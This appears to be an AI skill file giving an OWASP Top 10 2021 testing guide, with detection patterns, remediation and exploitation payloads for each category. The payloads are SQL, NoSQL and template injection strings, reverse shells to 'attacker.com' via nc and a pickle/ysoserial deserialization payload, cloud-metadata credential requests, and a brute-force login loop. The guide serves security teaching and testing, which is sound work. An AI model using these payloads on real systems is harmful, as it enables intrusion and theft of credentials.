owasp-web-top-10

name	OWASP Web Top 10
description	OWASP Web Top 10 security analysis — A01-A10 vulnerabilities, detection patterns, exploit techniques, and remediation
tags	["owasp","web","security","vulnerability","top10","a01","a02","a03","a04","a05","a06","a07","a08","a09","a10"]

Task: OWASP Web Top 10 Security Analysis. Analyze web applications for the OWASP Top 10 2021 vulnerabilities.

OWASP Top 10 2021 Categories

A01: Broken Access Control

Rank: #1 - Most critical web app security risk

Detection Patterns:

// IDOR - Insecure Direct Object Reference
GET /api/users/12345/profile
// Attacker changes ID to 12346

// Missing Authorization
POST /api/admin/users HTTP/200
// No admin check required

// Horizontal Privilege Escalation
GET /api/users/me/orders → returns other user's orders

Common Vulnerabilities:

• IDOR: /api/resource/{id} without ownership check
• Missing authentication on sensitive endpoints
• Privilege escalation via parameter tampering
• CORS misconfiguration allowing unauthorized access
• Missing CSRF on state-changing operations

Exploitation:

# IDOR Test
curl https://api.target.com/users/1/orders
curl https://api.target.com/users/2/orders  # Try different IDs

# Admin Panel Bypass
curl -X POST https://target.com/admin/create_user \
  -d '{"username":"attacker","role":"admin"}'

# Parameter Tampering
# Role: user → admin
# IsAdmin: false → true
# UserID: 123 → 1

Code Review Checklist:

• Verify authorization checks on ALL endpoints
• Check object ownership is validated
• Ensure administrative actions require admin role
• Verify CSRF protection on state changes
• Check API gateways enforce proper policies

---

A02: Cryptographic Failures

Rank: #2 - Formerly "Sensitive Data Exposure"

Detection Patterns:

// Hardcoded Credentials
const API_KEY = "sk_live_1234567890abcdef"
const DB_PASSWORD = "admin123"

// Weak Encryption
encrypt(data, "secret_key", "DES")

// HTTP on Sensitive Data
<form action="http://example.com/login">

// MD5/SHA1 for Passwords
hash = md5(password)

Common Vulnerabilities:

• Sensitive data transmitted over HTTP
• Weak encryption algorithms (DES, MD5, SHA1)
• Hardcoded secrets in source code
• Missing certificate validation
• Passwords stored with weak hashing
• Session IDs in URL

Exploitation:

# Intercept with Wireshark/Burp
# Capture credentials over HTTP

# Decrypt Weak Encryption
# DES/RC4 can be broken
# Rainbow tables for MD5/SHA1

# Find Hardcoded Keys
git log -p | grep "sk_live_"
grep -r "API_KEY" src/

Remediation:

// Good: Strong Encryption
encrypt(data, public_key, "AES-256-GCM")

// Good: Secure Password Hashing
hash = bcrypt.hash(password, 12)

// Good: HTTPS Only
app.use(function(req, res, next) {
    if (!req.secure) return res.redirect('https://' + req.headers.host);
    next();
});

---

A03: Injection

Rank: #3 - SQL, NoSQL, OS Command, LDAP injection

Detection Patterns:

// SQL Injection
query = "SELECT * FROM users WHERE id = " + user_input
query = `SELECT * FROM users WHERE name = '${name}'`

// NoSQL Injection
db.users.find({user: userInput})  // MongoDB injection
db.users.find({\$where: "this.username == '" + username + "'"})

// OS Command Injection
exec("grep " + user_input + " /etc/passwd")
system("ls " + directory)

// Template Injection
render(template, user_input)  // SSTI

Common Vulnerabilities:

• Unsanitized input in SQL queries
• Concatenation instead of parameterized queries
• Raw NoSQL queries without sanitization
• User input in system commands
• Unhandled template engines

Exploitation:

# SQL Injection
' OR '1'='1
' UNION SELECT null,username,password FROM users--
' OR 1=1--

# NoSQL (MongoDB)
{"$ne": null}
{"$where": "this.username == 'admin'"}
{"$regex": ".*"}

# OS Command Injection
; cat /etc/passwd
| nc attacker.com 4444
$(whoami)

# SSTI (Jinja2)
{{config.items()}}
{{7*7}}
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

Remediation:

// Good: Parameterized Queries
query = "SELECT * FROM users WHERE id = ?"
db.execute(query, [user_id])

// Good: ORM
User.where({id: user_id}).first()

// Good: Safe Template
template.render(user_data=sanitize(input))

---

A04: Insecure Design

Rank: #4 - New category for 2021

Focus Areas:

• Missing security controls in design
• Unsafe default configurations
• Lack of threat modeling

Common Issues:

// Predictable Session IDs
sessionId = userId + timestamp  // Guessable

// Sequential Order IDs
orderId = lastOrderId + 1  // Info leak

// Business Logic Errors
// Apply discount code multiple times
// Negative quantity allowed
// Race conditions in payments

// Missing Rate Limiting
// No login attempt limits
// No API rate limiting

Detection:

• Review threat models
• Check for business logic flaws
• Analyze rate limiting implementation
• Review authentication/authorization flows

---

A05: Security Misconfiguration

Rank: #5

Detection Patterns:

// Debug Mode Enabled
DEBUG = True
app.use(express.errorHandler({ dumpExceptions: true }))

// Verbose Error Messages
"SQL error near 'OR 1=1'"

// Default Credentials
admin:admin
root:123456

// Unnecessary Services
// MongoDB on public IP
// Redis without auth

// CORS Misconfiguration
Access-Control-Allow-Origin: *

// Directory Listing Enabled
Options +Indexes

Common Vulnerabilities:

• Debug mode in production
• Default credentials unchanged
• Cloud storage open to public
• Security headers missing
• Unpatched dependencies
• Verbose error messages

Exploitation:

# Check for Debug Mode
curl https://target.com/__debug__
curl https://target.com/console

# Try Default Credentials
admin:admin
root:root
administrator:password123

# Check Cloud Storage
https://s3.amazonaws.com/bucket-name/
https://storage.googleapis.com/bucket-name/

# Security Headers
curl -I https://target.com
# Look for: X-Frame-Options, CSP, HSTS

Remediation:

// Security Headers
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Content-Security-Policy', "default-src 'self'");
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Strict-Transport-Security', 'max-age=31536000');

// Disable Debug Mode
if (process.env.NODE_ENV === 'production') {
    app.disable('debug');
}

---

A06: Vulnerable and Outdated Components

Rank: #6

Detection:

# Dependency Scanning
npm audit
pip list --outdated
composer audit

# Manual Check
package.json: "express": "4.0.0"  (old version)
requirements.txt: "flask==0.10"  (vulnerable)

# CVE Lookup
searchsploit express 4.0.0

Common Issues:

• Using EOL frameworks (Struts 2, old Drupal)
• Known CVEs in dependencies
• No automated dependency updates
• Using unsupported Java/PHP versions

Remediation:

# Auto Update (with review)
npm update
pip install --upgrade -r requirements.txt

# Dependency Monitoring
npm install snyk
snyk test
snyk monitor

# Supply Chain Security
npm ci  # Use package-lock.json

---

A07: Identification and Authentication Failures

Rank: #7

Detection Patterns:

// Weak Password Policy
password.length >= 6  // Too short

// No Rate Limiting on Login
// Attacker can brute force

// Session Fixation
sessionId from URL
sessionId doesn't change after login

// JWT Issues
JWT signed with weak key
JWT without expiration
"algorithm": "none" attack

// Missing MFA
// No 2FA required

Common Vulnerabilities:

• Credential stuffing
• Weak password policies
• Missing multi-factor authentication
• Session fixation
• JWT misconfiguration
• Passwords in URL/logs

Exploitation:

# Credential Stuffing
use postman/collection: breached-passwords
try 1000 common passwords

# JWT "none" Algorithm
{"alg": "none", "typ": "JWT"}
{"user": "admin"}

# Session Fixation
1. Get session ID from URL
2. Authenticate
3. Old session ID still valid

# Missing Rate Limit
for i in {1..10000}; do
    curl -d "user=admin&pass=guess$i" https://target.com/login
done

---

A08: Software and Data Integrity Failures

Rank: #8 - New category

Focus Areas:

• Unsigned updates/updates
• CI/CD pipeline vulnerabilities
• Auto-update from untrusted sources
• Insecure deserialization

Detection:

// Insecure Deserialization
user = JSON.parse(cookie_data)
obj = pickle.loads(serialized_data)

// Unsigned Updates
downloadAndInstall(update_url)  // No signature check

// CI/CD Issues
// Secrets in pipeline
// Unverified commits

Exploitation:

# Python Pickle RCE
import pickle, base64
payload = b"""cos.system
(S'nc attacker.com 4444 -e /bin/sh'
tR."""
pickle.loads(payload)

# Java Deserialization (ysoserial)
java -jar ysoserial.jar CommonsCollections5 'nc -e /bin/sh attacker.com 4444' | base64

---

A09: Security Logging and Monitoring Failures

Rank: #9

Detection:

// No Logging of Security Events
// Login attempts not logged
// Failed auth not recorded

// Sensitive Data in Logs
logger.info("Password: " + password)

// No Intrusion Detection
// No anomaly detection

// Log Injection
username = "admin\\n[ERROR] Admin failed login"

Common Issues:

• No logging for authentication events
• Logs not protected (injection possible)
• No real-time monitoring
• Missing audit trails
• Logs stored locally (tamper-able)

Remediation:

// Centralized Logging
winston.add(new Logstash({ host: 'log-server', port: 5959 }));

// Security Event Logging
logger.warn({
    event: 'auth_failure',
    ip: req.ip,
    userAgent: req.headers['user-agent'],
    timestamp: new Date()
});

// Protect Sensitive Data
logger.info('Login attempt for user:', sanitize(username));

---

A10: Server-Side Request Forgery (SSRF)

Rank: #10

Detection Patterns:

// URL from User Input
fetch(user_url)
requests.get(user_input)

// Internal Service Access
url = "http://localhost:8080"
url = "http://169.254.169.254"  // AWS metadata

// File:// Protocol
fetch("file:///etc/passwd")

Common Vulnerabilities:

• Fetching URLs from user input
• No URL validation
• Access to internal services
• Cloud metadata access

Exploitation:

# AWS Metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP Metadata
curl http://metadata.google.internal/computeMetadata/v1/instance/attributes/

# Azure Metadata
curl http://169.254.169.254/metadata/identity/oauth2/token

# Internal Services
url = "http://localhost:6379"  # Redis
url = "http://localhost:27017"  # MongoDB
url = "file:///etc/passwd"

# DNS Rebinding for Firewall Bypass
# 1. Attacker controls DNS
# 2. Resolve to public IP (whitelisted)
# 3. After validation, rebind to internal IP
# 4. Access internal services

Remediation:

// URL Whitelist
allowed = ['https://api.example.com']
if (!allowed.includes(user_url)) return error;

// DNS Resolution Check
ip = dns.resolve(user_url)
if (ip.isPrivate) return error;

// No Private IPs
const privateIPs = /^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)/;

---

Testing Methodology

Reconnaissance

1. Technology Fingerprinting
   - Wappalyzer, BuiltWith
   - HTTP headers (Server, X-Powered-By)

2. Endpoint Discovery
   - Directory fuzzing
   - API documentation
   - JavaScript analysis

3. Dependency Enumeration
   - Source maps
   - package-lock.json
   - HTTP responses

Active Testing

Per Category:
A01 - IDOR fuzzing (iterate IDs)
A02 - SSL/TLS scan, credential grep
A03 - SQLi test payloads
A04 - Business logic analysis
A05 - Debug probe, header check
A06 - Dependency scanner
A07 - Auth brute force, JWT test
A08 - Serialization test
A09 - Log injection, monitoring check
A10 - SSRF payloads

Tools

• Burp Suite: Web app security testing
• OWASP ZAP: Free alternative to Burp
• SQLMap: SQL injection detection
• Nmap: Service discovery
• Nikto: Vulnerability scanner
• SSRFmap: SSRF testing
• Snyk: Dependency vulnerabilities